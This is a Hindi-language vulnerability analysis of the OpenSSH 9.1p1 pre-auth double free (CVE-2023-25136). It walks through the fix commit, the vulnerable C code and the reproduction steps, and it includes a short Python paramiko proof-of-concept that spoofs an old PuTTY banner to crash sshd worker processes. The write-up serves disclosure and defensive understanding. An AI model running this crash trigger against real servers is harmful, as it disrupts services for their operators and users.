
OpenSSH Pre-Auth Double Free CVE-2023-25136 – विवरण और प्रूफ-ऑफ-कॉन्सेप्ट
OpenSSH सुरक्षित संचार और दूरस्थ पहुँच के लिए उपयोग किया जाने वाला एक लोकप्रिय टूल है। इसे सिक्योर शेल (SSH) संचार प्रोटोकॉल के एक मुफ्त, ओपन-सोर्स कार्यान्वयन के रूप में विकसित किया गया था और इसका व्यापक रूप से विभिन्न अनुप्रयोगों के लिए उपयोग किया जाता है।
OpenSSH एक असुरक्षित नेटवर्क पर दो अविश्वसनीय होस्टों के बीच एक सुरक्षित और एन्क्रिप्टेड कनेक्शन प्रदान करता है, जिससे यह दूरस्थ पहुँच और सुरक्षित फ़ाइल स्थानांतरण के लिए एक आवश्यक टूल बन जाता है।
क्लाउड कंप्यूटिंग और सर्वरों तक दूरस्थ पहुँच के बढ़ते उपयोग के साथ, OpenSSH सिस्टम प्रशासकों और डेवलपर्स के लिए एक महत्वपूर्ण टूल बन गया है, जिन्हें दूरस्थ प्रणालियों को सुरक्षित रूप से एक्सेस और प्रबंधित करने की आवश्यकता होती है।
OpenSSH Linux, macOS और Windows सहित कई प्रकार के प्लेटफार्मों का भी समर्थन करता है, जिससे यह विभिन्न ऑपरेटिंग सिस्टमों में व्यापक रूप से अपनाया जाने वाला टूल बन गया है। इसके उपयोग में आसानी और मजबूत सुरक्षा सुविधाओं के साथ, OpenSSH सुरक्षित दूरस्थ पहुँच के लिए एक उद्योग-मानक टूल बन गया है।
2 फरवरी, 2023 को, OpenSSH ने इस सुरक्षा सलाह के साथ संस्करण 9.2p1 जारी किया। यह तुरंत स्पष्ट हो गया कि यह संस्करण प्री-ऑथ डबल-फ्री भेद्यता के कारण रुचिकर है। OpenSSH के GitHub रिपॉजिटरी में खोज करने पर, यह फिक्स कमिट है।
कमिट संदेश bz3522 को इंगित करता है, जो उपयोगकर्ता Mantas Mikulėnas द्वारा रिपोर्ट की गई Bugzilla समस्या को संदर्भित करता है।
अपनी रिपोर्ट में, Mantas ने PuTTY के अप्रचलित संस्करण 0.64 का उपयोग करने का उल्लेख किया है, साथ ही डबल-फ्री एबॉर्ट का बैक-ट्रेस भी संलग्न किया है।
गहराई से जानने के लिए, हमने भेद्य OpenSSH 9.1p1 के साथ एक वातावरण स्थापित किया और 28 फरवरी, 2015 को 8 साल पहले जारी पुराने PuTTY 0.64 संस्करण की एक प्रति प्राप्त की।
भेद्य OpenSSH सर्वर से PuTTY 0.64 के साथ कनेक्ट करने का प्रयास करने के बाद निम्नलिखित त्रुटि लौटाई गई:

चूंकि नए OpenSSH संस्करण द्वारा अप्रचलित क्लाइंट के की एक्सचेंज एल्गोरिदम समर्थित नहीं हैं, हमने /etc/ssh/sshd_config में निम्नलिखित पंक्ति जोड़कर sshd_config फ़ाइल को संपादित किया: KexAlgorithms +diffie-hellman-group1-sha1
SSH सर्वर को पुनः आरंभ करने और फिर से प्रयास करने के बाद, निम्नलिखित त्रुटि लौटाई गई:

sshd_config में एक और कॉन्फ़िगरेशन पंक्ति जोड़ने के बाद, हम भेद्य OpenSSH सर्वर से कनेक्ट करने और क्रैश को दोहराने में सक्षम हुए:
HostKeyAlgorithms +ssh-rsa
सर्वर को डिबग मोड में चलाने पर (-ddd फ्लैग का उपयोग करके), निम्नलिखित डिबग संदेश लौटाया गया:
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
सिस्कॉल नंबर 20 writev() है जो Bugzilla रिपोर्ट से मेल खाता है।
ध्यान दें कि हमारे द्वारा किए गए कॉन्फ़िगरेशन परिवर्तन केवल PuTTY के माध्यम से भेद्यता को दोहराने के लिए थे और इसे एक्सप्लॉइट करने के लिए आवश्यक नहीं हैं। जैसा कि हम PoC में देखेंगे, डिफ़ॉल्ट कॉन्फ़िगरेशन भेद्य है।
हमने फिक्स कमिट की जाँच करके शुरुआत की जिसमें कहा गया है कि compat_kex_proposal() डबल-फ्री के लिए जिम्मेदार है। जब कनेक्शन संगतता विकल्प SSH_OLD_DHGEX [1] पर सत्य होता है, तो दूसरा तर्क p [2] पर cp को सौंपा जाता है और बाद में [3] पर मुक्त किया जाता है।
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"[email protected]")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}
compat_kex_proposal() का कॉल do_ssh2_kex() फ़ंक्शन के अंदर है:
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
compat_kex_proposal() से मुक्त किया गया cp=p options.kex_algorithms तर्क को संदर्भित करता है।
स्रोत कोड में kex_algorithms की खोज करने पर, हमें Bugzilla रिपोर्ट में क्रैश से assemble_algorithms मिला:
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLE, kex_assemble_names() फ़ंक्शन को कॉल करने के लिए एक मैक्रो है:
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
kex_assemble_names() फ़ंक्शन को o->kex_algorithms के पते के साथ इसके पहले तर्क (जो listp है) के रूप में कॉल किया जाता है। यहीं पर दूसरी फ्री होती है।
int
kex_assemble_names(char **listp, const char *def, const char *all)
options.kex_algorithms हैंडल के मुक्त होने और डैंगलिंग पॉइंटर बन जाने के कारण, इसे फिर से मुक्त किया जाता है जिससे डबल-फ्री होती है।
लेकिन SSH_OLD_DHGEX विकल्प कहाँ सेट होता है?
compat_banner() फ़ंक्शन के अंदर, जो SSH प्रोटोकॉल बैनर से बग फ्लैग निर्धारित करता है। check[] नामक एक स्ट्रक्चर सभी SSH क्लाइंट आईडी और उनके फ्लैग को सूचीबद्ध करता है। निम्नलिखित स्निपेट उन क्लाइंट आईडी को दिखाता है जिन्हें SSH_OLD_DHGEX विकल्प सौंपा गया है। हम यह भी देख सकते हैं कि WinSCP भी इस व्यवहार को ट्रिगर करने में सक्षम हो सकता है।
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
इसकी लचीलापन और पोर्टेबिलिटी के कारण हमने एक Python डिनायल ऑफ सर्विस प्रूफ-ऑफ-कॉन्सेप्ट बनाने का विकल्प चुना। प्रूफ-ऑफ-कॉन्सेप्ट paramiko पैकेज का उपयोग करके डबल-फ्री को ट्रिगर करता है और एबॉर्ट क्रैश का कारण बनता है।
paramiko एक व्यापक रूप से उपयोग किया जाने वाला Python SSH कार्यान्वयन है, जो सर्वर और क्लाइंट दोनों कार्यक्षमता प्रदान करता है। PoC के लिए हमने कनेक्टिंग क्लाइंट वर्जन बैनर को बदलकर PuTTY v0.64 जैसे अप्रचलित क्लाइंट को प्रतिबिंबित किया।
हमारे GitHub रिपॉजिटरी में उपलब्ध है।
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')
if __name__ == "__main__":
main()
एक्सप्लॉइट मुक्त किए गए options.kex_algorithms के बजाय EVP_AES_KEY नामक एक और स्ट्रक्चर आवंटित करता है। जब डबल-फ्री होती है तो इसे बाद में फिर से मुक्त किया जाता है। फिर यह authctxt->user या authctxt->style का उपयोग करके अपनी सामग्री को दूसरे चंक के साथ अधिलेखित कर देता है।
जब EVP_Cipher() बाद में इस EVP_AES_KEY का उपयोग करने का प्रयास करता है, तो यह उस चंक का उपयोग करेगा जिसने हमलावर-नियंत्रित डेटा का उपयोग करके इसे अधिलेखित किया था।
OpenSSH डेमॉन क्लाइंट्स से कनेक्शन सुनता है। यह प्रत्येक आने वाले कनेक्शन के लिए एक नया डेमॉन फोर्क करता है। फोर्क किए गए डेमॉन कुंजी विनिमय, एन्क्रिप्शन, प्रमाणीकरण, कमांड निष्पादन और डेटा एक्सचेंज को संभालते हैं।
यह भेद्यता एक डबल-फ्री है जिसे सैद्धांतिक रूप से डिनायल ऑफ सर्विस के लिए एक्सप्लॉइट किया जा सकता है, जैसा कि हमारे प्रूफ-ऑफ-कॉन्सेप्ट द्वारा प्रदर्शित किया गया है, और संभवतः रिमोट कोड एक्सीक्यूशन (RCE) के लिए भी, हालांकि सैंडबॉक्स और प्रिविलेज सेपरेशन तंत्र जैसे सुरक्षा उपायों के कारण एक कार्यशील एक्सप्लॉइट विकसित करना कठिन माना जाता है। डिनायल ऑफ सर्विस के लिए, ध्यान दें कि केवल फोर्क किए गए डेमॉन क्रैश होते हैं, क्योंकि writev() को कॉल करने का प्रयास करते समय सैंडबॉक्स उल्लंघन होता है, इसलिए यह मुख्य सर्वर डेमॉन को नए क्लाइंट्स को संभालने के लिए स्वतंत्र छोड़ देता है।
निम्नलिखित कारणों से इस भेद्यता को उच्च गंभीरता रेटिंग दी गई थी:
कोई पूर्वापेक्षाएँ आवश्यक नहीं हैं। एक डिफ़ॉल्ट कॉन्फ़िगरेशन भेद्य है।
जब कोई मेमोरी एक्सप्लॉइटेशन शमन लागू नहीं किया जाता है (जैसे ASLR या NX), तो एक हालिया प्रकाशन के अनुसार, RCE संभव है।
जहाँ तक डिनायल ऑफ सर्विस हमले का सवाल है, एक फोर्क किए गए वर्कर प्रोसेस को क्रैश करना एक महत्वपूर्ण डेमॉन को क्रैश करने वाले DoS की तुलना में बहुत कम गंभीर है, लेकिन दोनों को "उच्च" उपलब्धता प्रभाव CVSS रेटिंग प्राप्त होगी।
ध्यान दें कि OpenSSH ने सैंडबॉक्स और प्रिविलेज सेपरेशन तंत्र जैसे सुरक्षा उपाय स्थापित किए हैं, लेकिन उन्हें संभावित RCE हमले की गंभीरता को कम नहीं करना चाहिए।
यह भेद्यता केवल डिफ़ॉल्ट कॉन्फ़िगरेशन वाले OpenSSH संस्करण 9.1p1 पर लागू होती है, जिसका अर्थ है कि कोई पूर्वापेक्षाएँ आवश्यक नहीं हैं।